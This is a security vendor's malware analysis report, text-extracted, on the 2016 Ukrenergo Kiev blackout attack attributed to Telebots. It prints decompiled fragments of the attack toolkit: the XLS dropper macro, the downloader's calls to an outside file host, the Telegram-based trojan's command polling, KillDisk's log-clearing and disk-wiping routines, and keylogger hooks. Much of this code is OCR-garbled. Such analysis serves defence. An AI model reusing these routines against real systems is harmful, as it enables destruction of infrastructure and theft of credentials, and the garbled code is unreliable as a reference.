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Overview

Ukrenergo, a major energy provider in Ukraine, experienced a power failure on the night
of December 17, 2016, which involved the automatic control system of the "North" substation in
New Petrivtsi close to Kiev. The blackout affected the northern part of Kiev, the country's capital,
and surrounding areas.

Shortly after the incident, Ukrenergo engineers switched devices to manual mode and started
restoring power in about 30 minutes. Power was fully restored 75 minutes after the blackout.

On the morning of December 18, 2016, Ukrenergo Director Vsevolod Kovalchuk explained
the incident in a post on Facebook and said that this outage may be caused by a device fault or cyber
attack.

The following is a timeline of activities carried out by NSFOCUS's security team in the wake
of this incident.
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NSFOCUS's security team analyzes the attack sample and proposes

January 6, 2017 -
a solution.

NSFOCUS's security team follows up with the incident and collects
related details and the attack sample.

December 18, 2016, 01:08 - Ukrenergo fully restores power.

December 20, 2016

December 18, 2016, 00:23 Ukrenergo's experts switch to manual mode and start restoring power.

December 17. 2016, 23-53 - A Iarge—s.cale power outage happens in the northern part of Kiev and
surrounding areas.

Figure 1 Responses made by NSFOCUS's security team to this incident
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Figure 2 Attacks on the Ukrainian power grid

Figure 2 shows attacks on the Ukrainian power grid in recent years. NSFOCUS's security team,
through analysis of the malware code, determined that this incident was initiated by Telebots, which
is believed to be associated with BlackEnergy.

What Is an Electric Power System?

An electric power system is a network of electrical components deployed to generate, supply,
transfer, transform, and use electric power, as shown in Figure 3. In the figure, step-up transformers
are used to increase voltage before transmitting electrical energy over long distances through wires.
Step-down transformers are used to decrease the supply voltage to a level suitable for use by regional
power grids or end users. The distribution substation transfers power from the power grid to various
users. Throughout the power system, operations in almost every stage rely on computer technology,
such as the computer system used by the scheduling and control center of power grids at various
levels and the computer-aided monitoring system at every substation.
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Figure 3 Components of an electric power system

Figure 4 shows the structure of a transformer substation in China.

: I :
Security zone | |Security zone I
|

Master station | Data acquisition server
|
I
| >
Master station - Switch
Station end Longitudinal encryption | g iten _ | Firewall
B |
G i |
9 o |
RelayFac -, @ |
|
Background monitor @, :
O&M manager ' |
Network analyze! |
|

© ©& |

Protection device Disturbance Measurement& Clock
recorder control device

Figure 4 Structure of a transformer substation in China

® Longitudinal encryption: encrypts channel data transmitted from the substation to the
scheduling center.

® RTU: sends information within the substation to the remote scheduling center.

® Network analyzer: records communication packets of the substation's internal network.
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Figure 5 shows the structure of transformer substations in other countries than China.
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Figure 5 Structure of transformer substations in other countries than China

® Protection device: implements appropriate protection and control logic for collected
voltage, current, and Boolean signals of primary devices.

® Merging unit: collects voltage and current signals of primary devices.

® Smart terminal: collects Boolean signals of primary devices and implements switch
control commands issued by the protection device.

@ Status monitoring and diagnosis device: a type of additional field devices at the substation
for monitoring purposes.

® Protocol converter: converts protocols so that devices using different protocols can
communicate with one another.

® Monitor: aggregates and displays field information of the substation.

® Scheduling center: displays and controls centralized control centers of multiple
substations in a centralized manner.

Substations in China are different from those in other countries in the following aspects:

® In China, the substation area is divided by firewalls into security zone | and security zone
I. The former is a zone for real-time production control, where the running of primary
electrical devices can be directly controlled. The latter is a zone for non-real-time
control, where the electrical energy metering system, the disturbance recorder, and others
are deployed.

® In China, a substation is a totally isolated local area network (LAN) from the public
network. In foreign countries, the internal network of a substation can be accessed via an
office network acting as a virtual private network (VPN).
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Sample Execution Flow

Figure 6 shows the execution flow of the sample.
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Figure 6 Sample execution flow
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Sample Structure

This is a compound sample that consists of multiple files.

File Type MD5 Description

XLS FDOFD58B20B1476E8F67D6A | Drops and executes
05307E9BC C:\User\xxx\AppData\Local\Temp\explorer.e
7D4FC63F2096A485D2DA3D | xe.
B1150E6D34

explorer.exe 1019C101FC1AE71E5C1687E3 | Downloads and executes
4F0628E6 C:\User\xxx\AppData\Local\Temp\lsass.exe.

Isass.exe 873C7701E16BC68AD7A9088 | This is a remote control trojan, which
6B5D0A3F0 implements different functions as instructed
75EE947E31A40AB4B5SCDE9 | by the server.
F4A767310B
OFCE93CDY9BEEEA30A7F0E2
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84A57B0

A819D2B968

KillDisk.exe B75C869561E014F4D3847734 | Deletes system logs, clears parts of sector data,
27C879A6 and causes the system to crash, unable to be
FFB1ESBABAECC4A8CB3D7 | restarted.
63412294469

keylogger.exe 4919569CD19164C1F123F97C | Records keystrokes.
5B44B03B

LDAPquery.exe | 76691C58103431624D26F2B83 | Makes queries to Active Directory using

LDAP.

mimikatz.exe

BDE6CODAC3ES594A4A859B4
90AAAF1217

Captures system passwords.

CAB40BF3
C404B959B51AD0425F1789F0
3E2C6ECF

CredRaptor.exe | 389AE3A4589E355E173E9B07 | Steals user names and passwords in browsers.
TD6F1AOA

Intercepter- SBD6B79A4443AFD27F7ED1 Intercepts traffic.

NG.exe FBF66060EA

VBS 2D7866989D659C1F8AE795ES | Obtains and executes instructions.

telebot.exe

24313581 BBBFFA9A784B480
75B525810

This is a remote control trojan, which
implements different functions as instructed.

Table 1 Sample file list

The following describes in detail the functions of these files.

XLS

Main Function

By executing the macro code in a document, XLS drops an executable to a temporary directory

C:\User\xxx\AppData\Local\Temp and names it explorer.exe to hide itself.

Behavior Analysis

Figure 7 shows what it looks like after execution.
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Figure 7 XLS file after execution

Figure 8 shows the first one of arrays defined in macro code. Data in these arrays constitutes a
PE file, in which 77 is equivalent to 4D and 90 to 5A in hexadecimal format.

©NSFOCUS 2017 http://www.nsfocus.com


http://www.nsfocus.com.cn/index.html

7= NSFOCUS

Figure 8 Arrays defined in macro code

Initi94
from = FreeFile "
fnane = Environ CTMP™) & "Vexplorer exs" ! 3¢ OO\ARE
Open Enane For Binwy Az #fnun
For 1 = 1 To S84}
For 3 =0 To 127
as = alnl )
| Put 2fnum, , aa f
Wex( ) e

Next 1

For j =0 To 93 4
as = a(5842) ()

Put #fnun, as
Next )
Close #fnam
Dim rss
rss = Shall (Enane, 1)
End Sub

2

Figure 9 Generating and executing a PE file

explorer.exe

Main Function

This is a downloader for downloading files from servers for execution.

Behavior Analysis

This file first attempts to connect to domain names. Figure 10 shows the domain name
connected by this file. The domain name here is a hosting website allowing anyone to download
and upload files, as shown in Figure 11.

515 UMW
BB8227EFB| 000008061

B8227EF4| BO5AFADE | ASCII “srv7A.putdrive.com™
BE2Z27EFE| 00800012

Figure 10 Domain name connected by the sample file
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putdrive
We Put the whole world into your Drive.
The world's 1st Online Cloud Downdoader is here!
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Figure 11 Website corresponding to the domain name
The sample file implements its functions as follows according to our reverse analysis:

1. Call the connect function to connect to 188.234.144.11, as shown in Figure 12. This IP
address identifies a file storing server.

fAddress  Hex dunp - = if 4 1441 ASC1T . nnpnoucH || Socket
W[ 02 D0 00 SORBG AS BE 89100 D0 00 00 D0 U8 A0 00 e 0022 7ENS | NO22TFER|| ps

WEZZTERTT WD Y s Cnains

00227600, 0A0NANGS

&100 o 45 08 d’\‘ o0 W ':‘.ll} 1L B &% 08 00 09 18 ap

JEASI D0 UG DO BB 05 A0 S0 BN GO OO DO VO D0 00 N8 b8

Figure 12 IP address to which the connect function connects

2. Send data, as shown in Figure 13.

from FIRFSATH ., 88I1Ea50

T SATH, BB
O10ETHEN To FIRFSATH . P ana0

‘

#|nscrt

SlASCIL “GET Jputstoraqe/bownloadfilelash/

Figure 13 Sending data
3. Create a file after receiving data, as shown in Figure 14.

Gk LYY  B0?AFBBE(| FileHame = "“C:\lUsersiyhello‘AppDatailocaliTempytmp. t=t™
609228158 | 40000088|| Access = GEMERIGC_WRITE

0022B15C| 00800OA7|| ShareMode = FILE_SHARE_READ|FILE_SHARE_YWRITE|Y4
602281668 OA0BBAAA|| pSecurity = HULL

B822B8164 | 00088002 (| Hode = CREATE_ALYAYS
68228168 Attributes = @
a822B16C hTemplateFile = HULL
aa22g178

Figure 14 Creating a file

4. Write the received data into the file, as shown in Figure 15.
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Address  Hex dung ascil
70RzZ0)5N 54 21 Y AD A1 61 BT AT AS|NT NT AT A1 TUgO0ANARAAE DARR

170020} 2F 2F 498 ae 67 MWt at A1) M1 MY AT AT //RARLGANNNARARS o

I e M| nbytestotrite
| D0220ESH || plytesweitten = MIR2AESH
0| ooeeaden Lpluerlagped « HULL

mronse S5t A1 1 LARLE RS IR L) AN BT AT A GARAARANARAAARRN
JOSIENT AT M N AT MY MY WY ATUNT MY RT AT AARARAANNRARASSS
NIRTODS0TNT AT M AT AT A MY WY AN T Y AT BRRARRNAAARARASAN

Figure 15 Writing data into the file

(5) Read file contents part by part to memory, as shown in Figure 16.

LR Y FOAF97UF (FCALL to from kKernel32_ 76A7974A
8822B154| BO8080ACC|| hFile = AAAABACE {window)

8022B158( B02B62D8(| Buffer = 882B62D0O

8822B15C| B0000028(| BytesToRead = 28 (32.)

8822B1608( BB22BES8|| pBytesRead = BO822BESE

88228164 pOverlapped = HULL

8022B168

Figure 16 Reading files to memory
6. Decrypt the file, as shown in Figure 17.

aa485162 38 043E moy

88485165 47 inc edi

o4 a5 166 89C6 mov esi,eax

80485168 8D5411 B4 lea edx,

aaLA516C B807C24 21 moy dword ptr ss:[esp+Bx28],edi
aa4e5178 897C24 AC mov duword ptr ss:[esp+BxAiC],edi
gay@as174( BBYCZ24 18 mov edi,dword ptr ss:i[esp+8x18]
[EYELNE L P 8903 mow ebx,edx

aa4a517na C1EG 86 shl esi,

08485170 B2 M moy dl,

884 8517F o8 nop

gayes188( 31C9 XOF BCH,PCH

g8485182 895C24 5C mov dword ptr ss:[esp+8x5C],ebx

08485186 39DF cmp edi,ebx
284085188 |, OF34 8B198088 ﬂ: FABF5418 . 08486819
8848518E BFBG B3 MOUZX eax,

edi=000AA0A3
Stack ss:[08622B1D0]=-00000000

Address |Hex dump
g30870628( 4D 5A 98
§3870030( 60 OO0 OO0 68| Db0 60 PO OO0 60 OO 60 OO| 06 B8 0O 68
§3070640( G0 B0 OO0 99|00 G0 PO 00 90 OO 00 60| 00 B8 OO B8
§30870050( G0 OO0 OO0 00| b0 60 DO 00 60 OO 60 OD| 060 B0 0O 68

Figure 17 Decrypting the file

7. Table 2 shows the decryption code.

.text:00405142 mov eax, [esp+2C8h]
.text:00405149 mov edx, [esp+5Ch]
.text:0040514D mov edi, ebx
.text:0040514F mov ebx, [esp+1Ch]
.text:00405153 mov ecx, [espt2C4h]
.text:0040515A or eax, [esp+54h]
.text:0040515E add edx, [esp+50h]
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.text:00405162 mov [ebx+edi], al

.text:00405165 inc edi

.text:00405166 mov esi, eax

.text:00405168 lea edx, [ecxtedx+4]
.text:0040516C mov [esp+20h], edi
.text:00405170 mov [esp+4Ch], edi
.text:00405174 mov edi, [esp+18h]
.text:00405178 mov ebx, edx

.text:0040517A shl esi, 6

.text:0040517D mov dl, 1

.text:0040517F nop

.text:00405180

.text:00405180 loc 405180: ; CODE XREF:
micro::main::hd9f3cc455036707+25FC;j

.text:00405180 Xor ecx, ecx

.text:00405182 mov [esp+5Ch], ebx
.text:00405186

.text:00405186 loc 405186: ; CODE XREF:
micro::main::hd9f3cc455036707f+269Dj

.text:00405186 cmp edi, ebx

.text:00405188 jz loc_406B19

.text:0040518E movzx  eax, byte ptr [ebx]
.text:00405191 mov [esp+50h], eax
.text:00405195 movzx  eax, byte ptr [eax+45CD5Fh]
.text:0040519C cmp eax, OFDh

.text:004051A1 jb short loc 4051AF
.text:004051A3 inc ebx

.text:004051A4 inc ecx

.text:004051AS5 cmp al, OFDh

.text:004051A7 jnz loc_405338

.text:004051AD jmp short loc 405186
text:004051AF ;

.text:004051 AF

.text:004051AF loc_4051AF: ; CODE XREF:
micro::main::hd9f3cc455036707f+2691]

text:004051AF or eax, esi

.text:004051B1 inc ebx

.text:004051B2 shl eax, 6

.text:004051B5 mov [espt54h], eax
.text:004051B9

.text:004051B9 loc_4051B9: ; CODE XREF:
micro::main::hd9f3cc455036707f+26DCj

.text:004051B9 mov eax, [esp+2D8h]
.text:004051C0O mov esi, 1

O©NSFOCUS 2017
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.text:004051C5 lea eax, (loc_402B28 - 402B28h)[ebx+eax]
.text:004051C8 cmp eax, 1

.text:004051CB jz loc_406C0C

.text:004051D1 movzx  esi, byte ptr [ebx]

.text:004051D4 movzx  eax, ds: const 47[esi]
.text:004051DB cmp eax, OFCh

.text:004051EQ jbe short loc 4051EE

.text:004051E2 inc ebx

.text:004051E3 inc ecx

.text:004051E4 cmp al, OFDh

.text:004051E6 jnz loc 406B2A

.text:004051EC jmp short loc 4051B9

.text:004051EE ;

.text:004051EE

.text:004051EE loc 4051EE: ; CODE XREF:
micro::main::hd9f3cc455036707£+26D0j

.text:004051EE or eax, [esp+54h]

.text:004051F2 mov edx, [esp+2DO0h]

.text:004051F9 mov [esp+18h], edi

.text:004051FD mov edi, ecx

.text:004051FF mov [esp+2CCh], eax

.text:00405206 shl eax, 6

.text:00405209 mov [espt54h], eax

.text:0040520D mov eax, [esp+5Ch]

.text:00405211 lea eax, (loc_ 402B28 - 402B28h)[eax+edx]
.text:00405214

.text:00405214 loc 405214: ; CODE XREF:
micro::main::hd9f3cc455036707f+2734;]

.text:00405214 mov edx, eax

.text:00405216 add edx, edi

.text:00405218 jz loc_406BA6

.text:0040521E mov edx, [esp+5Ch]

.text:00405222 movzx  ecx, byte ptr [edx+edi+2]
.text:00405227 movzx  ebx, ds: _const 47[ecx]
.text:0040522E mov [espt50h], ecx

.text:00405232 cmp ebx, OFCh

.text:00405238 jbe short loc 405246

.text:0040523A inc edi

.text:0040523B cmp bl, OFDh

.text:0040523E jnz loc_ 406B8A

.text:00405244 jmp short loc 405214

text:00405246 ;

.text:00405246

.text:00405246 loc_405246: ; CODE XREEF:
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micro::main::hd9f3cc455036707f+2728)

.text:004052B8 mov
.text:004052BC mov
.text:004052C0 mov
.text:004052C4 mov
.text:004052C8

.text:00405246 or ebx, [espt54h]

.text:0040524 A mov ecx, [esp+5Ch]

.text:0040524E Xor esi, esi

.text:00405250 mov eax, ebx

.text:00405252 shl eax, 6

.text:00405255 mov [esp+54h], eax

.text:00405259 mov eax, [esp+4]

.text:0040525D lea eax, (loc_402B28 - 402B28h)[ecx+eax]
.text:00405260 add eax, edi

.text:00405262

.text:00405262 loc 405262: ; CODE XREF:
micro::main::hd9f3cc455036707f+2781]

.text:00405262 mov edx, eax

text:00405264 add edx, esi

.text:00405266 jz loc_406C4A

.text:0040526C lea edx, [ecxtesi]

.text:0040526F movzx  edx, byte ptr [edx+edi+3]
.text:00405274 mov [esp+50h], edx

.text:00405278 movzx  edx, ds: const 47[edx]
.text:0040527F cmp edx, OFCh

.text:00405285 jbe short loc 405293

.text:00405287 inc esi

.text:00405288 cmp dl, OFDh

.text:0040528B jnz loc 406BB7

.text:00405291 jmp short loc_ 405262

text:00405293 ;

.text:00405293

.text:00405293 loc 405293: ; CODE XREF:
micro::main::hd9f3cc455036707f+2775j

.text:00405293 mov eax, [esp+20h]

.text:00405297 mov [esp+2C8h], edx

.text:0040529E mov [espt+2C4h], esi

.text:004052A5 mov [esp+50h], edi

.text:004052A9 cmp eax, [esp+48h]

.text:004052AD jnz short loc_4052C8

.text:004052AF lea ecx, [esp+44h]

.text:004052B3 call

___ZNA40 $LTSalloc raw vec RawVecSLTSTSGTS$S$SGTS6doublel 7h06£32d01d77fcc35E 703

eax, [esp+44h]
ecx, [esp+4Ch]
[esp+1Ch], eax
[esp+20h], ecx
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.text:004052C8 loc 4052CS8: ; CODE XREEF:
micro::main::hd9f3cc455036707{+279Dj

.text:004052C8 mov edx, [esp+2CCh]

.text:004052CF mov eax, [esp+1Ch]

.text:004052D3 mov ecx, [esp+20h]

.text:004052D7 shr edx, 4

.text:004052DA mov byte ptr ds:(loc_ 402B28 - 402B28h)[eax+ecx], dl
.text:004052DD mov eax, [esp+4Ch]

.text:004052E1 inc eax

.text:004052E2 mov [esp+4Ch], eax

.text:004052E6 mov ecx, eax

.text:004052E8 mov edi, [esp+48h]

.text:004052EC cmp eax, edi

.text:004052EE jnz short loc 405301

.text:004052F0 lea ecx, [esp+44h]

.text:004052F4 call
__ZNA40 $LTSalloc_ raw_vec RawVecSLTSTSGTS$SGTS6doublel 7h06£32d01d77fcc35E_703
.text:004052F9 mov edi, [esp+48h]

.text:004052FD mov ecx, [esp+4Ch]

.text:00405301

.text:00405301 loc 405301: ; CODE XREF:
micro::main::hd913cc455036707f+27DE;

.text:00405301 mov eax, [esp+44h]

.text:00405305 shr ebx, 2

.text:00405308 mov [esp+1Ch], eax

.text:0040530C mov byte ptr ds:(loc_402B28 - 402B28h)[eax+ecx], bl
.text:0040530F inc ecx

text:00405310 mov ebx, ecx

.text:00405312 mov [esp+4Ch], ecx

.text:00405316 cmp ecx, edi

.text:00405318 jnz loc_405142

Table 2 Decryption code

8. Create Isass.exe, as shown in Figure 18.

BAZZ2B124 CALL to from kernel32 . F6A7CCOB
FileMame = "C:iUsersihelloivaAppDataslocaliTempilsass.exe”
Access = GEMERIC_WRITE
ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE|4

pSecurity = HULL

Mode = CREATE_ALWAYS

Aattributes = @
aezz2B140 hTemplateFile = HULL

Figure 18 Creating a file

9. Write file contents to \AppData\Local\Temp\lsass.exe, as shown in Figure 19.
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EePm Dl hELle URNERR0OD (w
s || futfer = Q2070820
V27F || niytesio

1 N0 U0 90 %% 00 LD BE FF FF bo oDeiwzy ..
2/00 0D 00 GU 52 DD DU UG 92 20 00 OB Y

00 AR BE 20 0N U0 DO 90 20 00 OB i ia g
b B0 00 RO BEI0 0D DU DB B MDD DD AW . .....
N3N70a69| ¢ FBA GC|®D BA D9 CDI2% B8 M NCICD 21 5N 66

58| piytesira
Lpluer Lagp

Figure 19 Writing to Isass.exe

10. Delete the original TXT file after the write is complete, as shown in Figure 20.

Gl BTy 9B43A35A| rCALL to from F1BF5418.BB43A355
B822B188| 002AF8B8|LFileHame = "C:\lUsers\hellovfAppDatailocaliTemphtmp.txt™
B822B18C| 000BODBOO

Figure 20 Deleting the TXT file

11. Create a process, as shown in Figure 21.

Sleeip by B048681E|-CALL to from F1BF5418.00486819

GO22B188| 008000680|| HoduleFileName = HULL

0022B18C| O02B7EG8|| CommandLine = "C:\UsersyhellovAppDataisLocalyTemp\lsass _exe™
902281908 00000008(| pProcessSecurity = HULL

90228194 | 008000088|| pThreadSecurity = HULL

9022B198| 0080806881 || InheritHandles = TRUE

9022B19C| 0080804080|| CreationFlags = CREATE_UNICODE_ENUIRDMHENT
9622B1n0| 00000006(| pEnvironment = HULL
8022B1n4| B8BBOAAAA|| CurrentDir = HULL

B022B1A8| 06822B824)| pStartupInfo A822B824
AB22B1n Aa22B228|LpProcessinfo A822B920

Figure 21 Creating a process

Isass.exe

Main Function
Implements different functions as instructed by the server.
Behavior Analysis

Use pyinstxtractor.py to decompile the sample into a PY file. Figure 22 shows the PY file
obtained after decompilation.

Figure 22 PY file obtained after decompilation
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Figure 23 shows the decrypted code.

Figure 23 Decrypted code

This code will obtain instructions from the remote server. First, it attempts to directly read
instructions from the server. If the read fails, it attempts to obtain contents from the instruction file
and writes such contents to a random 10-byte DAT file created locally.

def getCommand ( self )
try
updatalURLtext = json . loads ( self . getUpdates { ) )
resuletext = updatalRLtext [ 'result' 1 [ - 1]
UpDateld = int { resuletext [ 'update_id' 1 )} + 1
cmddd = resuletext [ 'message' ] [ 'text' ]
cmdddURL = self . baseurl + '/getlUpdates' + "Ioffset=" + str ( UpDateld )
requests . get { cmdddURL )
return cmddd . encode { locale . getpreferredencoding ( ) )
except :
updataURLtext = jzon . loads ( self . getUpdates ( ) )
try
resuletext = updatalURLtext [ 'result' ] [ - 1 ]
UpDateld = int { resuletext [ 'update_id' 1 ) +
cmdfile = resuletext [ 'message' ] [ 'document’
getemdfile ( self . botapi , cmdfile )

1
1 [ 'file_id' ]

cmdddURL = self . baseurl + '/getUpdates' + "2offset=" + str ( UpDateld )
requests . get ( cmdddURL )

except
pass

def getUpdates ( self )
updatalRL = self . baseurl + '/getUpdates'
retresponsedjsonll = requests . get { updataURL )
return retresponsedjsonll . text

Figure 24 Reading instructions from the server
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Figure 25 Implementing functions as instructed

Table 3 lists functions of these commands.

Command

Description

help

Displays executable commands.

cmd||(cmd command)

Executes commands in cmd command (during the read, CP866 is
changed to UTF-8 after decoding).

cmdd||(cmd command)

Executes commands in cmd command.

getphotol|(path)

Obtains file from path (to send data, decodes data with the local

encoding and then encodes data with UTF-8).

getdoc]|(doc path)

Obtains the file from doc path.

forcecheckin|random data

Obtains host information.

time||(int)

Sets sleep time.

ss||(random data)

Not implemented. The name indicates that it is used to capture screens.

KillDisk.exe

Main Function

Table 3 Command description

KillDisk.exe can clear system sectors, delete important system files, overwrite the file content
of specific types, and terminate system processes, thereby crashing the system and making it unable

to recover.

Behavior Analysis

O©NSFOCUS 2017
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The KillDisk.exe sample will first escalate process privileges, allowing the virus program to
have privileges of shutting down the system and modifying system directory files.

= GetCurrentProcess_1C291D8{983551, &u/);
= OpenProcessToken_1C29588{vH);

if | )
i
= [_1;
if ( t*GetTokenInformation 1C2951C{v7, 3, 8, 8, &uE) )
{
= {char =)malloc{u&};
if )
{
if { GetTokenInformation_1C2951C{v7, 3, . , EUdY )
{
= =(_DWORD =} == @;
= B;
if (¢ )
{
= (int)( + 4);
do
{
memset (& , 8, Bx288u);
= 260;
if { LookupPrivilegeHamel! 1C29488(8, ., & , & )
{
if [ ®*{ DWORD =){us + 8) )
{

= #{ DWORD =}{ + by
= ={ DWORD =)uh;
= ﬂ;
= ﬂ;
= ﬂ;
= 1;
= 2;
AdjustTokenPrivileges 1C293D8(v7, B, & , 16, 8, B8);

Figure 26 Privilege escalation

KillDisk.exe starts cmd to create a service, as shown in Figure 27.

BOMNZN 1N iln<

50
FE1S 1095C20| gall hermel a2 WinExee
'S Fubivoen

kermeld2 . Slesp

Figure 27 Creating a service

KillDisk.exe starts the service, as shown in Figure 28.
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ae4a82C9
B84 882CF
88408201
28468203
B84 88205

8408208
ae4682DA
aauBes2DC
B84 082DE
04 a82DF

FF15 4494C281call advapi32.0OpenServicef
8BF O mov esi,eax
. BSF6 test esi,esi
.. 14 26 short telbot.@04082FB
. 83FE FF cmp esi,
.21 short telbot.d04882FB
G6A BO
6A 6@
56 esi
FF15 F893C208)call advapi32.StartServicen

Figure 28 Starting the service

Actually, the started service is KillDisk.exe itself, as shown in Figure 29.

{ Plug-And-Play Support | 8z RS

v Plug-And-Play Support 8IE (AT ER]) [-E_E-J‘ Slheeh

. _ RS

B2 | wE | kR | =eEs
THES

Beeh:  wE B

* p
TREHR: Plug-And-Flay Support ' it”%:,’%
THEES

ot : TS

BIHAT ST HRIRETE - e
I c:tusersihelloidesktoptitelbot. exe —opt=sve I g
FHESR

AR ®: @ v Sz

BN
RIS
LN
=E L L I MRS
LA BEhRRE AT SRHEERTE AN S - IR
RS
BEhEson: FIBFESE
FERS
ENIE
EHERE

BRI SiEl

(Cw= ) [ mE |

Figure 29 Service program

KillDisk.exe creates a thread to delete log files to hide operation traces, as shown in Figure 30.
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u1 = DecryptData 418218({aZR2dr_wsCulteX); /7 wevtutil clear-log Application
WinExec_1C29518{v1, B8);
for ( i = ul; *i; ++i )
* = @3
free{vi);
Sleep{@x3E8u);
ud = DecryptData_u18218(aZRZdr_wsCult_8); /4 wevtutil clear-log Security
WinExec 1C29518(v3, 8);
for  J = u3; =j; ++7 )
*j:ﬂ;
free{vi);
Sleep(@x3E8Bu);
uS = DecryptData_418218{aZRZ2dvr_wsCult_1); /4 wevtutil clear-log Setup
WinExec 1C29518({uv5, B8);
for { k = u5; =k; ++k )
*l: = B;
free{vs);
Sleep{@x3E8u);
u? = DecryptData_u18218(aZRZdr_wsCult_2); /4 wevtutil clear-log System
WinExec_1C29518(v7, 8);
For { 1 = ui; =1; ++1 }
*#1 = B;
free{v7);
Sleep(B8=3E8u);
RtlExitUserThread 1C294A8(A);
return @;

Figure 30 Hiding traces
The KillDisk.exe sample attempts to fill contents in PhysicalDriver0 and PhysicalDriver15.

if { tbyte 1C29540 )
{
e = B3
do
WriteDataToDisk sub 4B876DA{uD++);
while { v9 £ 16 );

b

Figure 31 Filling contents
KillDisk.exe clears the memory of the 291 sectors of each open disk, as shown in Figure 32.

do

{
if { WriteHardDisk sub_ 4B85B18{(int)vs, vl libistanceToMoue, w3 hFile) )

g = @;

e = @;

if ( tSetFilePointerEx_dword_1C29264(
v3_hFile,

vy libistanceToHoue,
(unsigned __inté4)vd liDistanceToMove >> 32,
fud,
1) )
break;
H
++0 ;
H
while { vl < 291 );

Figure 32 Clearing disks
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After the preceding operations, the system cannot be restarted.

KillDisk.exe terminates some system-critical processes and repeats three times. The terminated
system processes include but are not limited to the following: system, vmacthlp.exe,
VGAuthService.exe, vmtoolsd.exe, dllhost.exe, WmiPrvSE.exe, msdtc.exe, Searchindexer.exe,
sppsvc.exe, and PCHunter32.exe.

= .th32ProcessID;
if *= GetCurrentProcessid dword 1C292F4{) )
1
if )
1
= OpenProcess _dword 1C294AC(1, 6, );
if ( )
1
TerminateProcess dword 1C2938C( , B);
CloseHandle 1C29394{u0};
b
¥
¥

Figure 33 Terminating system processes

The preceding behaviors will finally crash and restart the system. However, since the memory
of system sectors has been cleared, the system cannot get restarted.

According to code analysis, a variant of the KillDisk component which can run on various
platforms is found. Attackers could exploit this variant file to attack Supervisory Control And Data
Acquisition (SCADA) systems and industrial control systems (ICSs) not only on Windows but also
on Linux. This variant file has been used as a piece of ransomware against Linux systems for a
ransom of 222 bitcoins (about RMB 1,729,875).

GNU GRUB wersion 2.827betaZ?2-9ubuntul. 12

e are =so sorry, but the encryption

of your data has been successfully completed,

=0 you can lose your data or

pay 222 btc to hxh9zyNIn3YeBoJLDGJr5HRXqcFBigl1094
With blockchain. info

contact e-Mail:vuyrk568gou@lelantos.org

Use the 1t and {4 keys to select which entry is highlighted.
Press enter to boot the selected 0S5, ‘e’ to edit the commMands
before booting or 'c’ for a command-line.

Figure 34 KillDisk variant

keylogger.exe
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Main Function

keylogger.exe works as a keystroke logger. It can record a user's keyboard input and save such
input in a temporary directory as a .tmp file. If attackers have read/write permissions to the file
system, they can obtain the user's all keystroke logs in a specific process, window, or file.

Behavior Analysis

Figure 35 shows the keystroke logging file generated in the temp directory.

char sub 148882DEB()
H
il int6h *uB; ff rdi@1

{ signed __intéd i; /7 rcx@1

)| char result; /f al@5

| size t w3; /7 rax@8

| __int6h wh; ff [sp+Bh] [bp-38h]@1
DWORD vS; /7 [sp+2Bh] [bp-18h]@4
DWORD vwé; /7 [sp+24h] [bp-14h]@8

vl = &ul;
o For {1 = 12i64; i; -1 )
hd

' ={ DUWORD =)uB = -BLE993468;
: ud = {  int6d =){{char =)ud + 4};
I

‘| memset{&unk_148031858, B, 0x?0Buibu);
memset(&Str, B, Bx208uidy);

U5 = GetTempPathW{8x288u, &Str);

if ( us )

{

' if { =(&Str + wcslen({&Str)y - 1) *= 92 )

H wescat (&Str, &word 148024948 ;

b uh = GetTickCount()};

: vl = weslen{&Str);

! usprintfW{&Str + v3, L"%1ls%d.™tmp™, L"_klg", vd};
' result = 1;

H

else

{

result = B;

H

‘| return result;

Figure 35 Generating a keystroke log file

Figure 36 shows the content of the log file.

Install h k k

[«e)¥indow PID 1492: Progras Ran:
[« IRACGE expl rer.ezxe
[e]¥4in v FID 492 Teap

[=]) 1RACE explover.exe
adedasdahellovorld

[=3ivind PID > 12121 desktop. ini
[ = IRAGCE 1 n« epad, =31 =

ye Ay hifellos

[e)V¥indow PID ¢82 Teap

[ IRAGE expl e exe
[LCTRL+C]

[ECTRL+C]

[¢#)vindow FIT 1492: Eeylogeer
[ = IRACE L | 1 er exe
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Figure 36 Log file content
The log file contains the following information:
(1) How the keyboard hook is configured
(2) The process ID (PID), title, and process name for keystroke operations
(3) User's keystroke input

Then, the keylogger.exe sample will be injected into various processes and configure keyboard
hooks to obtain keystroke information.

15[ 3

16 w2 = GetHoduleHandleW{B0i6y);
17| hhk = SetWindowsHookExW{13, fn, v2, B8);
18] if { hhk )}

o0 4

‘g uls = GetModuleHandleW({0ioh);
] quord_ 148831508 = SetWindowsHookExW{14, sub 1466618085, vi, B8);
'2 if { qword_1488315A8 )

'3 {

't result = 1;

'L 3

il else

vz {

4] UnhookWindowsHookEx{hhk);
4] result = @;

115] 3

M| 3

[2| else

3l 4

1] result = B8;

IS ¥

6| return result;

[}

Figure 37 Configuring a keyboard hook

Code for logging keystroke information is configured, as shown in Figure 38.
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&

L
15 = B;
if ( dword 1488215CH )
{
if ( vis )
wescat{&best, L"+");
wecscat{&Dest, L"LGTRL™);
vis = 1;
H
if { dword_1488315Ch )
{
if { vis )
wescat{&best, L™+");
wescat{&best, L"RCTRL");
vis = 1;
H
if { dword_1488315C8 )
{
if § vi% )
wescat{&best, L"+");
wecscat{&best, L"LALT™);
vis = 1;
¥
if { dword_1488315C8 )
{
if { viS )
wescat{&best, L"+");
wcscat{&best, L"RALT");
pils = 1;
¥

Figure 38 Logging keystroke information

The sample does not involve the configuration of startup items. It is an one-time execution.
However, since attackers have already obtained the privilege of uploading and executing files, they
can manually add the executable to the startup item list, thereby bypassing the detection of antivirus
software.

LDAPquery.exe

Main Function

LDAPquery.exe is a query tool of the LDAP server. After a successful connection to the LADP
server, it can use the Idap_search function to query partitions, computer information, and user
information.

Behavior Analysis

Figure 39 shows how LDAPquery.exe connects to the LDAP server.

©NSFOCUS 2017 http://www.nsfocus.com


http://www.nsfocus.com.cn/index.html

)
W
\

\

‘NSFOCUS

LIIVaiuyr = 9,

vi = ldap_initW(al, 0x185u);

if ( v1)

{
wprintf(L"1ldap init succeeded \n");
vd = 2;

if ( ldap_connect(vi, 0)
Il (v3 = 3, ldap_set optionW(uvi, 17, &invalue))
|| l1dap_connect(uvi1, 8)
Il (v3 = &, 1dap bind sW(vi, 8, 8, Oxu486u)) )
{
vl = LdapGetLastError();
wprintf(L"Stage %d failed: %d\n", v3, vk);
1dap unbind(v1);
result = @;
H
else

{

outualue = 13

ldap get optionli(v1, 8, &outvalue);

